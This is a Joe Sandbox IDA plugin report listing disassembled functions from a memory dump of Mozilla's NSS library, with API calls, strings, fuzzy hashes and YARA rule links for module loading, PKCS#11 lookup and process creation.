Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: __acrt_iob_func$Flag$Valuefree$ParamUtil$strlen$L_strncasecmp$Alloc_Arena$memcpy$AlgorithmArena_LongOptionParsePolicyReadSecure$CipherFetchFlagsFreeInfoInitLockParameterSkipSlotStrdup___stdio_common_vfprintffwriteisspacestrchrstrcpystrstr
String ID: ALL$CIPHER$ECC$FIPS$HASH$INFO$MAC$NSS-POLICY-%s: NUMBER-OF-%s: %u$NSS-POLICY-%s: NUMBER-OF-CERT-SIG: %u$NSS-POLICY-%s: NUMBER-OF-SSL-ALG-KX: %u$NSS-POLICY-%s: NUMBER-OF-SSL-ALG: %u$NSS-POLICY-FAIL: internal failure with NSS_GetAlgorithmPolicy at %u$NSS-POLICY-FAIL: policy config parsing failed, not loading module %s$NSS-POLICY-INFO: %s is enabled for CERT-SIGNATURE$NSS-POLICY-INFO: %s is enabled for KX$NSS-POLICY-INFO: %s is enabled for SSL$NSS-POLICY-INFO: LOADED-SUCCESSFULLY$NSS_POLICY_FAIL=1$NSS_POLICY_LOADED=1$NSS_POLICY_WARN=1$OTHER-KX$OTHER-SIGN$WARN$cipherOrder$ciphers$critical$defaultModDB$disable$disallow$enable$flags$internal$internalKeySlot$moduleDB$moduleDBOnly$policy-lock$policyCheckIdentifier$policyCheckValue$policyOnly$printPolicyFeedback$skipFirst$slotParams$ssl-lock$trustOrder
API String ID: 70106568-3069362674
Opcode ID: 7e626489518b999585533b5092b101296845d093e857746375f82d7f49b3437d
Instruction ID: ff940faf6bfdf1e1a27cf4110dfb32bbe9b519e1bb7f87ee69ab270b9e7c8983
Opcode Fuzzy Hash: 7e626489518b999585533b5092b101296845d093e857746375f82d7f49b3437d
Instruction Fuzzy Hash: DD22E9B5D042167BEB109BA5EC49FBF36B9AF85308F050034FD05AB246EBB1D954C7A2

Function 6CFE6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D132120,6CFE7E60), ref: 6CFE6EBC
TlsGetValue.KERNEL32 ref: 6CFE6EDF
EnterCriticalSection.KERNEL32(?), ref: 6CFE6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CFE6F25

Part of subcall function 6CFBA900: TlsGetValue.KERNEL32(00000000,?,6D1314E4,?,6CF54DD9), ref: 6CFBA90F
Part of subcall function 6CFBA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CFBA94F

PR_Unlock.NSS3 ref: 6CFE6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CFE6FA9
TlsGetValue.KERNEL32 ref: 6CFE70B4
EnterCriticalSection.KERNEL32(?), ref: 6CFE70C8
PR_CallOnce.NSS3(6D1324C0,6D027590), ref: 6CFE7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFE7117
SECOID_Init.NSS3 ref: 6CFE7128
PORT_Alloc_Util.NSS3(00000057), ref: 6CFE714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE71A9
PR_NotifyAllCondVar.NSS3 ref: 6CFE71CF
PR_Unlock.NSS3 ref: 6CFE71DD
free.MOZGLUE(?), ref: 6CFE71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFE7208
free.MOZGLUE(00000000), ref: 6CFE7221
free.MOZGLUE(00000001), ref: 6CFE7235
TlsGetValue.KERNEL32 ref: 6CFE724A
EnterCriticalSection.KERNEL32(?), ref: 6CFE725E
PR_NotifyCondVar.NSS3 ref: 6CFE7273
PR_Unlock.NSS3 ref: 6CFE7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CFE7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6D120148,,defaultModDB,internalKeySlot), ref: 6CFE74CC
free.MOZGLUE(00000000), ref: 6CFE7513
free.MOZGLUE(00000000), ref: 6CFE751B
free.MOZGLUE(00000000), ref: 6CFE7528
free.MOZGLUE(00000000), ref: 6CFE753C
free.MOZGLUE(00000000), ref: 6CFE7550
free.MOZGLUE(00000000), ref: 6CFE7561
free.MOZGLUE(00000000), ref: 6CFE7572
free.MOZGLUE(00000000), ref: 6CFE7583
free.MOZGLUE(00000000), ref: 6CFE7594
free.MOZGLUE(00000000), ref: 6CFE75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CFE75BD
free.MOZGLUE(00000000), ref: 6CFE75C8
free.MOZGLUE(00000000), ref: 6CFE75F1
PR_NewLock.NSS3 ref: 6CFE7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CFE7686
PR_NewLock.NSS3 ref: 6CFE76A2

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CFE76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CFE7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CFE771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CFE7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CFE774A
DeleteCriticalSection.KERNEL32(?), ref: 6CFE7770
free.MOZGLUE(?), ref: 6CFE7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFE779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFE77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CFE77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CFE77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CFE7821
PORT_Alloc_Util.NSS3(?), ref: 6CFE7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CFE785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CFE786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CFE78AC
free.MOZGLUE(00000000), ref: 6CFE78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CFE78F3
free.MOZGLUE(00000000), ref: 6CFE78FC
free.MOZGLUE(00000000), ref: 6CFE791C

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

Strings

sql:, xrefs: 6CFE76FE
rdb:, xrefs: 6CFE7744
Spac, xrefs: 6CFE7389
kbi., xrefs: 6CFE7886
extern:, xrefs: 6CFE772B
NSS Internal Module, xrefs: 6CFE74A2, 6CFE74C6
dbm:, xrefs: 6CFE7716
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CFE74C7
dll, xrefs: 6CFE788E
,defaultModDB,internalKeySlot, xrefs: 6CFE748D, 6CFE74AA

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 4d87112db520d54bf3b4fe9dad0a3505fa2b5cf3677484699e5e8b82a0bb04ca
Instruction ID: ed016fc8f9c32846cf5e50ec522b2f79e72798853dccaab75d6b52c1448708f1
Opcode Fuzzy Hash: 4d87112db520d54bf3b4fe9dad0a3505fa2b5cf3677484699e5e8b82a0bb04ca
Instruction Fuzzy Hash: 685227B1D05305BBEF219F64EC057AA7BB4BF09308F154029EE09A7642E7B1D954CBD2

Function 6D00BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6D00C0C8

Part of subcall function 6D099440: LeaveCriticalSection.KERNEL32 ref: 6D0995CD
Part of subcall function 6D099440: TlsGetValue.KERNEL32 ref: 6D099622
Part of subcall function 6D099440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6D09964E

PR_EnterMonitor.NSS3 ref: 6D00C0AE

Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D0991AA
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099212
Part of subcall function 6D099090: _PR_MD_WAIT_CV.NSS3 ref: 6D09926B

Part of subcall function 6CFC0600: GetLastError.KERNEL32(?,?,?,?,?,6CFC05E2), ref: 6CFC0642
Part of subcall function 6CFC0600: TlsGetValue.KERNEL32(?,?,?,?,?,6CFC05E2), ref: 6CFC065D
Part of subcall function 6CFC0600: GetLastError.KERNEL32 ref: 6CFC0678
Part of subcall function 6CFC0600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CFC068A
Part of subcall function 6CFC0600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFC0693
Part of subcall function 6CFC0600: PR_SetErrorText.NSS3(00000000,?), ref: 6CFC069D
Part of subcall function 6CFC0600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,8FA990EB,?,?,?,?,?,6CFC05E2), ref: 6CFC06CA
Part of subcall function 6CFC0600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CFC05E2), ref: 6CFC06E6

PR_EnterMonitor.NSS3 ref: 6D00C0F2
PR_ExitMonitor.NSS3 ref: 6D00C10E
PR_ExitMonitor.NSS3 ref: 6D00C081

Part of subcall function 6D099440: TlsGetValue.KERNEL32 ref: 6D09945B
Part of subcall function 6D099440: TlsGetValue.KERNEL32 ref: 6D099479
Part of subcall function 6D099440: EnterCriticalSection.KERNEL32 ref: 6D099495
Part of subcall function 6D099440: TlsGetValue.KERNEL32 ref: 6D0994E4
Part of subcall function 6D099440: TlsGetValue.KERNEL32 ref: 6D099532
Part of subcall function 6D099440: LeaveCriticalSection.KERNEL32 ref: 6D09955D

PR_EnterMonitor.NSS3 ref: 6D00C068

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

Part of subcall function 6CFC0600: GetProcAddress.KERNEL32(?,?), ref: 6CFC0623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6D00C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6D00C183
free.MOZGLUE(00000000), ref: 6D00C18E
PR_LoadLibrary.NSS3(?), ref: 6D00C1A3
PR_EnterMonitor.NSS3 ref: 6D00C1D4
PR_ExitMonitor.NSS3 ref: 6D00C1F3
PR_CallOnce.NSS3(6D132318,6D00CA70), ref: 6D00C210
PR_EnterMonitor.NSS3 ref: 6D00C22B
PR_ExitMonitor.NSS3 ref: 6D00C247
PR_EnterMonitor.NSS3 ref: 6D00C26A
PR_ExitMonitor.NSS3 ref: 6D00C287
PR_UnloadLibrary.NSS3(?), ref: 6D00C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6D00C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6D00C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6D00C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6D00C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6D00C7B5
PR_UnloadLibrary.NSS3(?), ref: 6D00C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6D00C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D00C8BF
PORT_Alloc_Util.NSS3(?), ref: 6D00C8D5
free.MOZGLUE(00000000), ref: 6D00C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D00C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6D00C9E5
free.MOZGLUE(00000000), ref: 6D00CA5A

Strings

NSS_ReturnModuleSpecData, xrefs: 6D00C275
NSS_FORCE_TOKEN_LOCK, xrefs: 6D00C77D
nss_mod_log, xrefs: 6D00C3CC
NSS_DISABLE_UNLOAD, xrefs: 6D00C7B0
FC_GetFunctionList, xrefs: 6D00C098
NSC_GetInterface, xrefs: 6D00C04F
FC_GetInterface, xrefs: 6D00C054
NSC_GetFunctionList, xrefs: 6D00C093
PKCS 11, xrefs: 6D00C2F9, 6D00C314
NSC_ModuleDBFunc, xrefs: 6D00C0FC
NSS_DEBUG_PKCS11_MODULE, xrefs: 6D00C38D
Vendor NSS FIPS Interface, xrefs: 6D00C34A

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: dc9d7cfbfbeb510157c604f1f50c8a8924bc520f22349a0c6a72665e2515be5d
Instruction ID: d710f90c871f2f692c1243606142987036700f4f6a7ddf23d118beb66f588314
Opcode Fuzzy Hash: dc9d7cfbfbeb510157c604f1f50c8a8924bc520f22349a0c6a72665e2515be5d
Instruction Fuzzy Hash: 3E42AFB8A04205AFFF20EF64E84AB6A3BB5FB46304F464028D9059F315E7B1D554CBE6

Function 6D0E3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6D0E3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6D0E3FFE
malloc.MOZGLUE(-00000003), ref: 6D0E4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6D11FC62), ref: 6D0E404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6D0E407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6D0E40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6D0E40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0E4112
malloc.MOZGLUE(00000000), ref: 6D0E411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6D0E414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0E4160
free.MOZGLUE(?), ref: 6D0E416C
malloc.MOZGLUE(?), ref: 6D0E41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6D0E41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6D0E4520), ref: 6D0E4244
GetEnvironmentStrings.KERNEL32 ref: 6D0E424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0E4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0E4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0E42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0E42E4
malloc.MOZGLUE(00000002), ref: 6D0E42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6D0E4342
GetStdHandle.KERNEL32(000000F6), ref: 6D0E43AB
GetStdHandle.KERNEL32(000000F5), ref: 6D0E43B2
GetStdHandle.KERNEL32(000000F4), ref: 6D0E43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6D0E4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0E4410

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6D0E445E
CloseHandle.KERNEL32(?), ref: 6D0E446B
free.MOZGLUE(?), ref: 6D0E4482
free.MOZGLUE(00000000), ref: 6D0E4492
free.MOZGLUE(00000000), ref: 6D0E44A4
GetLastError.KERNEL32 ref: 6D0E44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6D0E44BE
free.MOZGLUE(?), ref: 6D0E44C7
free.MOZGLUE(00000000), ref: 6D0E44D5
free.MOZGLUE(00000000), ref: 6D0E44EA

Strings

D, xrefs: 6D0E4396
=, xrefs: 6D0E44F8
NSPR_INHERIT_FDS=, xrefs: 6D0E41E9

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 83a895f56b227d67dfe23bf419676ae56bb6caaf3b0fb0b4303261caeee1812c
Instruction ID: 6f6a457aabc1936aabc72eabc85ac61bd6bfc5116f23487e39dd38f4ae4e7f03
Opcode Fuzzy Hash: 83a895f56b227d67dfe23bf419676ae56bb6caaf3b0fb0b4303261caeee1812c
Instruction Fuzzy Hash: ED02F370E04316AFFB11CFA8C8807AEBBF4AF0A384F154169DD55A7242E771E844CB91

Function 6CFF6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6D0FA8EC,0000006C), ref: 6CFF6DC6
memcpy.VCRUNTIME140(?,6D0FA958,0000006C), ref: 6CFF6DDB
memcpy.VCRUNTIME140(?,6D0FA9C4,00000078), ref: 6CFF6DF1
memcpy.VCRUNTIME140(?,6D0FAA3C,0000006C), ref: 6CFF6E06
memcpy.VCRUNTIME140(?,6D0FAAA8,00000060), ref: 6CFF6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFF6E38

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CFF6E76
TlsGetValue.KERNEL32 ref: 6CFF726F
EnterCriticalSection.KERNEL32(?), ref: 6CFF7283

Strings

!, xrefs: 6CFF7123

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 09c5d7b2273a6935a5821ae1567479807b58b0de62b2399f4ec7c595fe14c5b2
Instruction ID: fd17132dc79e83ddd6b0e945937598457614bacc7dfa69c544ac59b45bc1a746
Opcode Fuzzy Hash: 09c5d7b2273a6935a5821ae1567479807b58b0de62b2399f4ec7c595fe14c5b2
Instruction Fuzzy Hash: 0072AE76D052199FDF20CF28DC8879ABBB5EF48304F1441A9E91CA7311EB719A85CF91

Function 6CF63C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF63C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CF63D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF63EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF63ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF63F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF64052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF6406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CF6410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF6449C

Strings

database corruption, xrefs: 6CF64490, 6CF644F4, 6CF64599, 6CF64764, 6CF64804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF64452, 6CF64486, 6CF644EA, 6CF64571, 6CF64580, 6CF6458F, 6CF6475A, 6CF647FA
%s at line %d of [%.10s], xrefs: 6CF64495, 6CF644F9, 6CF6459E, 6CF64769, 6CF64809

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 129eaf74fe26da8a6577a95bf3c4fd61254cac92710b9b5c9e1e6fd7efd5f1af
Instruction ID: 61838e22de4d7384d97990e97683e3901eb6d29fb66c41d6e09117f7aa291d51
Opcode Fuzzy Hash: 129eaf74fe26da8a6577a95bf3c4fd61254cac92710b9b5c9e1e6fd7efd5f1af
Instruction Fuzzy Hash: F082D171A04205DFDB04DF6AC490B9EBBF2BF49318F2581A9D905ABB52D731EC42CB91

Function 6D03AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D03ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6D03ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6D03ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6D03AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6D03ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D03ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D03ADF0

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D03B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D03B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D03B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D03B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6D03B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D03B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D03B40C

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
